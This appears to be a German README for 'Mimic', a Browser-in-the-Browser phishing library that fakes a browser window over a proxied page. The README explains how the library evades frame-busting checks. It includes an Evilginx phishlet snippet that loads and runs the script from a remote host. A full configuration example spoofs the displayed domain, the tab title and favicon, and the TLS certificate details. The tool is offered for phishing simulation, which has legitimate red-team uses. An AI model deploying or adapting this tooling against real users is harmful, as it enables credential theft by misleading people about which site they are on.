
Frameless Browser‑in‑the‑Browser (BitB) - Keine iframes, keine Frame‑Busting‑Probleme. Eine Single‑Script-Shadow-DOM-/MutationObserver-Bibliothek für realistische Phishing-Simulationen, die sich einfach über einen Reverse-Proxy injizieren lässt.
Frameless Browser‑in‑the‑Browser (BitB) – Keine iframes, keine Frame-Busting-Probleme. Eine Single-Script-Bibliothek auf Basis von Shadow DOM / MutationObserver für realistische Phishing-Simulationen, die einfach über einen Reverse-Proxy injiziert werden kann.
⚠️ Warnung: Verwenden Sie diese Software nur im Einklang mit Ihrer geltenden Gesetzgebung. Missbrauch dieser Software kann rechtliche und ethische Probleme aufwerfen, die ich nicht unterstütze und für die ich nicht haftbar gemacht werden kann.
MalwareMonster und ich haben vor etwa sieben Jahren ein Proof-of-Concept in diese Richtung entwickelt, genannt FISHY. Das Projekt demonstrierte erfolgreich den BitB-Vektor, auch wenn die Benutzerfreundlichkeit deutlich eingeschränkt war. mrd0x machte dieses Konzept etwa zwei Jahre später mit seinem BITB-Projekt einem breiteren Publikum in der Sicherheitsforschungsgemeinschaft bekannt. Allerdings erwies sich die starke Abhängigkeit von iframes als inkompatibel mit modernen Frame-Busting-Techniken. Zwar konnten Substitutionen eingesetzt werden, um das Frame-Busting-JavaScript umzuschreiben, doch dieser Ansatz erwies sich als mühsam und erforderte fortlaufende Anpassungen.
waelmas veröffentlichte etwa zwei Jahre später frameless-bitb, das einen besonders raffinierten Mechanismus einführte. Indem er das iframe durch ein Shadow DOM in Kombination mit einem MutationObserver ersetzte, ordnete er den Phishing-Inhalt effektiv einem div im Hauptdokument zu. Entscheidend war, dass dieser Inhalt Teil des Haupt-DOM blieb und nicht in einem isolierten Frame lag. Da die Phishing-Seite selbst weiterhin das Haupt-DOM war, wurden Frame-Busting-Routinen von vornherein nie ausgelöst. Das löste das zentrale technische Hindernis, stellte einen bedeutenden Fortschritt dar und bot eine solide konzeptionelle Grundlage für weitere Verfeinerungen.
Mit dieser Innovation hat waelmas den Staffelstab effektiv an uns zurückgegeben. Seine Implementierung verwendete eine eher verteilte Architektur, die die Installation von Diensten, eine Apache-Konfiguration, separate HTML-, CSS- und JavaScript-Dateien, verschiedene Benutzeroberflächen sowie eine statische Betriebssystemauswahl (entweder Windows oder macOS) ohne dynamische Browsererkennung erforderte. Diese Elemente waren angesichts des Proof-of-Concept-Charakters zwar vertretbar, aber wir erkannten, dass die zentrale Shadow-DOM- und MutationObserver-Logik isoliert und über ein einzelnes Skript direkt in unseren bestehenden Evilginx-Reverse-Proxy injiziert werden konnte. Dadurch konnten wir eine schlanke, abhängigkeitsfreie JavaScript-Bibliothek entwickeln, die in jeder Webseite ohne iframes einen realistischen Fake-Browser darstellt und dabei die kreative Bypass-Technik bewahrt, die waelmas ursprünglich entwickelt hat.
Mimic erstellt einen realistischen Fake-Browser über der aktuellen Webseite – mit Adressleiste, Fenstersteuerung, Website-Informationen, Zertifikatsdetails, Cookies und Websitedaten, Designs sowie betriebssystemspezifischem Styling.
Anstatt die Zielwebsite in ein iframe zu laden, nimmt Mimic das tatsächliche Website-DOM und injiziert es direkt in den Viewport des Fake-Browsers.
Der Fake-Browser selbst befindet sich in einem offenen Shadow DOM, das seine Stile von der Website isoliert. Die Website bleibt im Light DOM und wird über Folgendes in den Fake-Browser eingefügt:
<slot name="mimic-content"></slot>
Wenn kein content angegeben wird, erfasst Mimic automatisch die aktuelle Seite, indem der vorhandene Body-Inhalt in einen internen Wrapper verschoben wird. Dabei werden wichtige Stile wie Hintergrund, Textfarbe, Schriftarten, Schriftgröße und Zeilenhöhe beibehalten, bevor die Website in den Fake-Browser injiziert wird.
Da die Website in den Fake-Browser verschoben und nicht in einen anderen Browsing-Kontext eingebettet wird, bleibt sie die echte Top-Level-Seite.
Das bedeutet, dass herkömmliche iframe-basierte Framebusting-Prüfungen wie:
if (top !== self) {
top.location = self.location;
}
nicht ausgelöst werden, weil:
top === self
Die Website glaubt weiterhin, dass sie als Top-Level-Seite läuft. Ihr vorhandenes JavaScript, Events, Storage, Navigation und die Anwendungslogik funktionieren normal weiter, während die Seite visuell im Fake-Browser enthalten ist.
Mimic skaliert die injizierte Website außerdem automatisch so, dass sie in den Viewport des Fake-Browsers passt. Das Scrollen wird durch Verschieben der Inhaltsebene übernommen, während Resize-Listener und MutationObserver den Inhalt neu vermessen, sobald die Website lädt oder sich ändert.
Der echte Browser-Tab kann auch über documentTitle und documentFavicon gesteuert werden. Mimic überwacht beide Werte und stellt sie wieder her, wenn die Website versucht, sie zu ändern.
Mimic ist visuelle Verkapselung, keine JavaScript-Sandbox. Die injizierte Website behält Zugriff auf die echten
window-,document-, Storage-, History- und Navigations-APIs.
Fügen Sie dies zu Ihrer Phishlet-YAML hinzu, um Mimic zu injizieren:
script: |
// Inject the BitB script
(function () {
window.addEventListener('load', () => {
var s = document.createElement('script');
s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
s.onload = function () {
openBrowserWindow({ debug: false });
};
document.body.appendChild(s);
});
})();
Die Konfiguration kann direkt in der CONFIG von mimic.js geändert oder als Argumente beim Aufruf der Funktion (openBrowserWindow) übergeben werden:
openBrowserWindow({
// Displayed URL
domain: 'example.com',
addressText: '/login',
scheme: 'https://',
// Fake browser
pageTitle: 'Example - Sign in',
favicon: 'https://example.com/favicon.ico',
// Real browser tab
documentTitle: 'Example App',
documentFavicon: 'https://example.com/app.ico',
// Content
// HTMLElement, CSS selector, HTML string, or function
// Leave empty to capture the current website automatically
content: '',
contentWidth: 0,
// Fake browser size
windowWidth: 'min(800px, 95vw)',
windowHeight: 'min(650px, 90vh)',
// Browser-style links
learnMoreUrl: 'https://example.com/security',
siteSettingsUrl: 'https://example.com/settings',
// Cookie summary
cookies: {
sitesAllowed: '5 sites allowed'
},
// Behaviour
autoOpen: false,
os: null, // null (auto) | 'mac' | 'windows' | 'linux'
theme: 'auto', // 'auto' | 'light' | 'dark'
debug: false,
onClose: null,
// Landing page
landing: true, // true | false | custom HTML string
enterSelector: '#landingpage-enter-btn',
// On-device site data
siteData: {
intro: 'Sites may save activity to your device.',
manageLinkText: 'Manage site data',
manageUrl: '',
sections: [
{
title: "Data from the site that you're visiting",
description: 'Information stored by this site.',
sites: [
{ name: 'example.com' },
{
name: 'cdn.example.com',
subtitle: 'Additional site information'
}
]
}
]
},
// Certificate viewer
certificate: {
subject: {
commonName: 'example.com',
organisation: 'Example Corporation',
organisationalUnit: '<Not part of certificate>'
},
issuer: {
commonName: 'Example TLS CA',
organisation: 'Example Certificate Authority',
organisationalUnit: '<Not part of certificate>'
},
validity: {
issuedOn: '10 August 2026',
expiresOn: '18 November 2026'
},
fingerprints: {
certificate: '...',
publicKey: '...'
},
hierarchy: {
name: 'Example Root CA',
children: [
{
name: 'Example Intermediate CA'
}
]
},
fields: {
name: 'example.com',
children: [
{
name: 'Certificate',
children: [
{ name: 'Version', value: 'V3' },
{ name: 'Serial Number', value: '...' },
{ name: 'Subject', value: 'CN = example.com' }
]
}
]
}
}
});
Aktuelle Website erfassen und injizieren:
openBrowserWindow();
Ohne Landingpage öffnen:
openBrowserWindow({
landing: false
});
Fake-Browser-Fenster automatisch öffnen:
openBrowserWindow({
autoOpen: true
});
Debugging aktivieren (OS- & Theme-Wechsel):
openBrowserWindow({
debug: true
});
Darstellung manuell überschreiben:
openBrowserWindow({
os: 'windows',
theme: 'dark'
});
Inhalt des Fake-Browser-Fensters festlegen (Element, Selektor, HTML-String oder Funktion, die in den Fake-Browser injiziert werden soll):
openBrowserWindow({
content: '#page-content'
});
| Option | Beschreibung |
|---|
domain | In der Fake-Adressleiste angezeigte Domain |
addressText | Pfad und Query, die nach der Domain angezeigt werden |
scheme | Angezeigtes URL-Schema |
pageTitle | Titel des Fake-Browser-Fensters |
favicon | Favicon des Fake-Browsers |
documentTitle | Titel des echten Browser-Tabs |
documentFavicon | Favicon des echten Browser-Tabs |
content | Element, Selektor, HTML-String oder Funktion zur Injektion in den Fake-Browser |
contentWidth | Basisbreite, die beim Skalieren der injizierten Website verwendet wird |
windowWidth | Breite des Fake-Browsers |
windowHeight | Höhe des Fake-Browsers |
learnMoreUrl | Ziel für den Sicherheits-Link „Mehr erfahren“ |
siteSettingsUrl | Ziel für die Websiteeinstellungen |
cookies | Konfiguration der Cookie-Zusammenfassung |
autoOpen | Öffnet den Fake-Browser automatisch, sobald die Landingpage erstellt wird |
os | null, mac, windows oder linux; bei null wird automatische Erkennung verwendet |
theme | auto, light oder dark |
debug | Zeigt den OS- und Theme-Umschalter an |
onClose | Funktion, die aufgerufen wird, wenn der Fake-Browser geschlossen wird |
landing | Aktiviert, deaktiviert oder ersetzt die Landingpage |
enterSelector | Selektor für das Landing-Element, das den Fake-Browser öffnet |
siteData | Konfiguriert den Dialog für gerätelokale Websitedaten |
certificate | Konfiguriert die Zertifikatsanzeige |